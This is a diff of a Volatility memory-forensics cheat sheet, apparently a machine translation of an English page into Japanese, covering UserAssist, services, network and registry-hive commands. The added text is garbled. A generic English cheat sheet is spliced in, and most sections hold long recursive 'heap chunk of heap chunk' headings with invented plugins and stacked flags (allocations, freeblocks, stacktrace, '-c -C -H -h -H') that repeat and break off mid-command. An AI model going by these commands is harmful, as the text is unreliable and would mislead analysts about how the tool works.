-395,16 +2511,69 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3 ### UserAssist -**Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that are executed. The number of executions and last execution date and time is available in these **keys**. - -{% tabs %} -{% tab title="vol3" %} +**Windows**システムは、実行されたプログラムを追跡するために、レジストリデータベース(**UserAssistキー**)に一連の**キー**を保持しています。これらの**キー**には、実行回数や最終実行日時が利用可能です。 ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` -{% endtab %} +# Volatility Cheat Sheet -{% tab title="vol2" %} +## Introduction + +This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. + +## Installation + +To install Volatility, follow these steps: + +1. Install Python 2.7.x or Python 3.x. +2. Install the required Python packages by running `pip install -r requirements.txt`. +3. Download the latest release of Volatility from the official GitHub repository. +4. Extract the downloaded archive. +5. Navigate to the extracted directory and run `python vol.py`. + +## Basic Commands + +Here are some basic commands to get started with Volatility: + +- `imageinfo`: Displays information about the memory image. +- `pslist`: Lists running processes. +- `pstree`: Displays a process tree. +- `dlllist`: Lists loaded DLLs. +- `handles`: Lists open handles. +- `connections`: Lists network connections. +- `cmdline`: Displays command-line arguments for processes. +- `malfind`: Finds hidden or injected code. +- `dumpfiles`: Extracts files from memory. + +## Advanced Commands + +Here are some advanced commands for more in-depth analysis: + +- `mbrparser`: Parses the Master Boot Record (MBR). +- `ssdt`: Displays the System Service Descriptor Table (SSDT). +- `idt`: Displays the Interrupt Descriptor Table (IDT). +- `gdt`: Displays the Global Descriptor Table (GDT). +- `ldrmodules`: Lists loaded modules. +- `modscan`: Scans for modules. +- `vadinfo`: Displays information about Virtual Address Descriptors (VADs). +- `vaddump`: Dumps memory based on VADs. +- `vadtree`: Displays a tree of VADs. + +## Plugins + +Volatility supports a wide range of plugins that extend its functionality. Some popular plugins include: + +- `malfind`: Finds hidden or injected code. +- `timeliner`: Creates a timeline of events. +- `dumpregistry`: Dumps the Windows registry. +- `dumpcerts`: Dumps certificates. +- `hivelist`: Lists registry hives. +- `hashdump`: Dumps password hashes. +- `shellbags`: Extracts information from Windows Explorer shellbags. + +## Conclusion + +Volatility is a powerful tool for memory forensics analysis. By using the commands and plugins provided in this cheat sheet, analysts can effectively extract and analyze valuable information from memory dumps. ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` @@ -415,11 +2584,11 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## Services +## サービス {% tabs %} {% tab title="vol3" %} @@ -427,19 +2596,235 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` -{% endtab %} -{% endtabs %} - -## Network +## ネットワーク {% tabs %} {% tab title="vol3" %} @@ -447,13 +2832,232 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only -volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections +volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections volatility --profile=Win7SP1x86_23418 sockscan -f file.dmp#Open sockets volatility --profile=Win7SP1x86_23418 sockets -f file.dmp#Scanner for tcp socket objects @@ -467,9 +3071,9 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache {% endtab %} {% endtabs %} -## Registry hive +## レジストリハイブ -### Print available hives +### 利用可能なハイブの表示 {% tabs %} {% tab title="vol3" %} @@ -477,9 +3081,228 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### プロセスの一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> pslist +``` + +### 特定のプロセスの詳細情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> psxview -p <プロセスID> +``` + +### 特定のプロセスのスレッド一覧を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> threads -p <プロセスID> +``` + +### 特定のスレッドのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stack -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープ情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> +``` + +### 特定のスレッドのヒープのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -h -H -H -H +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys @@ -487,53 +3310,466 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i {% endtab %} {% endtabs %} -### Get a value +### 値を取得する {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` -{% endtab %} +## プロセスとスレッド -{% tab title="vol2" %} +### 